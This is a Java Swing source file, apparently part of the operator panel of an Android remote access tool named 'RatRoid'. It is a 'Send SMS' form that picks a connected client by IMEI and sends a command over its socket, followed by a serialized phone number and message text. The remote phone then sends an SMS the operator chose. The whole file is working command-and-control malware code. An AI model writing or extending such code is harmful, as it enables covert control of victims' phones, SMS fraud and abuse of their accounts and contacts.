/*
 * To change this template, choose Tools | Templates
 * and open the template in the editor.
 */
package GUI;

import Control.Clients;
import Control.ThreadHandle;
import RatRoid.Main;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.io.PrintWriter;
import javax.swing.JOptionPane;
import javax.swing.SwingWorker;

/**
 *
 * @author Sam
 */
public class SendSms extends javax.swing.JFrame {

    /**
     * Creates new form SendSms
     */
    public SendSms(String imei) {
        this.imei = imei;
        initComponents();
        this.setIconImage(new javax.swing.ImageIcon(getClass().getResource("/res/logo.png")).getImage());
        this.setVisible(true);
        setLocationRelativeTo(null);

    }

    /**
     * This method is called from within the constructor to initialize the form.
     * WARNING: Do NOT modify this code. The content of this method is always
     * regenerated by the Form Editor.
     */
    @SuppressWarnings("unchecked")
    // <editor-fold defaultstate="collapsed" desc="Generated Code">//GEN-BEGIN:initComponents
    private void initComponents() {
        java.awt.GridBagConstraints gridBagConstraints;

        numText = new javax.swing.JTextField();
        numLabel = new javax.swing.JLabel();
        smsLabel = new javax.swing.JLabel();
        jScrollPane1 = new javax.swing.JScrollPane();
        smsField = new javax.swing.JTextArea();
        sendSmsButton = new javax.swing.JButton();

        setTitle(imei+" -- Send SMS");
        setMinimumSize(new java.awt.Dimension(547, 301));
        setPreferredSize(new java.awt.Dimension(547, 301));
        getContentPane().setLayout(new java.awt.GridBagLayout());
        gridBagConstraints = new java.awt.GridBagConstraints();
        gridBagConstraints.gridx = 0;
        gridBagConstraints.gridy = 1;
        gridBagConstraints.fill = java.awt.GridBagConstraints.HORIZONTAL;
        gridBagConstraints.weightx = 1.0;
        gridBagConstraints.weighty = 1.0;
        getContentPane().add(numText, gridBagConstraints);

        numLabel.setText(" Phone Number :");
        gridBagConstraints = new java.awt.GridBagConstraints();
        gridBagConstraints.gridx = 0;
        gridBagConstraints.gridy = 0;
        gridBagConstraints.fill = java.awt.GridBagConstraints.BOTH;
        gridBagConstraints.ipady = 5;
        gridBagConstraints.weightx = 1.0;
        getContentPane().add(numLabel, gridBagConstraints);

        smsLabel.setText(" SMS Text :");
        gridBagConstraints = new java.awt.GridBagConstraints();
        gridBagConstraints.gridx = 0;
        gridBagConstraints.gridy = 2;
        gridBagConstraints.fill = java.awt.GridBagConstraints.BOTH;
        gridBagConstraints.ipady = 5;
        gridBagConstraints.weightx = 1.0;
        getContentPane().add(smsLabel, gridBagConstraints);

        smsField.setColumns(20);
        smsField.setRows(5);
        jScrollPane1.setViewportView(smsField);

        gridBagConstraints = new java.awt.GridBagConstraints();
        gridBagConstraints.gridx = 0;
        gridBagConstraints.gridy = 3;
        gridBagConstraints.fill = java.awt.GridBagConstraints.BOTH;
        gridBagConstraints.weightx = 1.0;
        gridBagConstraints.weighty = 1.0;
        getContentPane().add(jScrollPane1, gridBagConstraints);

        sendSmsButton.setText("Send SMS");
        sendSmsButton.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                sendSmsButtonActionPerformed(evt);
            }
        });
        gridBagConstraints = new java.awt.GridBagConstraints();
        gridBagConstraints.gridx = 0;
        gridBagConstraints.gridy = 4;
        gridBagConstraints.ipady = 4;
        gridBagConstraints.insets = new java.awt.Insets(1, 0, 1, 0);
        getContentPane().add(sendSmsButton, gridBagConstraints);

        pack();
    }// </editor-fold>//GEN-END:initComponents

    private void sendSmsButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_sendSmsButtonActionPerformed

        SwingWorker worker = new SwingWorker<Void, Void>() {

            @Override
            protected Void doInBackground() throws Exception {
                sendSms(Main.threads);
                return null;
            }
        };
        worker.execute();


    }//GEN-LAST:event_sendSmsButtonActionPerformed

    @SuppressWarnings("empty-statement")
    public void sendSms(ThreadHandle thlist) {
        try {
            String imei = null;
            int row = MainGui.Tuser.jTable1.getSelectedRow();
            if (row != -1) {
                imei = (String) MainGui.Tuser.mymodel.getValueAt(row, 1);
            }
            for (final Clients client1 : thlist.getthreads()) {
                if (client1.getthread().getName().equals(imei)) {
                    if (client1.available) {
                        client1.available = false;
                        client1.doing = " This Client is Sending an SMS,please try again in a second ";
                        out = new PrintWriter(client1.getsocket().getOutputStream());

                        out.println("sms" + imei);
                        out.flush();
                        in = new BufferedReader(new InputStreamReader(client1.getsocket().getInputStream()));
                        String lsnmsg = in.readLine();
                        String phonetext = numText.getText();
                        String smstext = smsField.getText();
                        if (phonetext.isEmpty()) {
                            phonetext = " ";
                        }
                        if (smstext.isEmpty()) {
                            smstext = " ";
                        }
                        recep = new String[]{phonetext, smstext};
                        os = client1.getsocket().getOutputStream();
                        oos = new ObjectOutputStream(os);
                        oos.writeObject(recep);
                        oos.flush();
                        JOptionPane.showMessageDialog(this, "SMS Sent Successfully !", "Message Sent !", JOptionPane.INFORMATION_MESSAGE);
                        client1.available = true;
                    } else {
                        Thread msgThread = new Thread(new Runnable() {
                            @Override
                            public void run() {
                                JOptionPane.showMessageDialog(null, client1.doing, "Client busy!", JOptionPane.INFORMATION_MESSAGE);
                            }
                        });
                        msgThread.start();
                    }
                }
            }
        } catch (IOException e) {
            JOptionPane.showMessageDialog(this, "SMS Not Sent,please try again !", "Warning !", JOptionPane.WARNING_MESSAGE);
            this.dispose();
        }

    }
    private ObjectOutputStream oos;
    private OutputStream os;
    private String[] recep;
    private PrintWriter out;
    private BufferedReader in;
    private String imei;
    // Variables declaration - do not modify//GEN-BEGIN:variables
    private javax.swing.JScrollPane jScrollPane1;
    private javax.swing.JLabel numLabel;
    private javax.swing.JTextField numText;
    private javax.swing.JButton sendSmsButton;
    private javax.swing.JTextArea smsField;
    private javax.swing.JLabel smsLabel;
    // End of variables declaration//GEN-END:variables
}
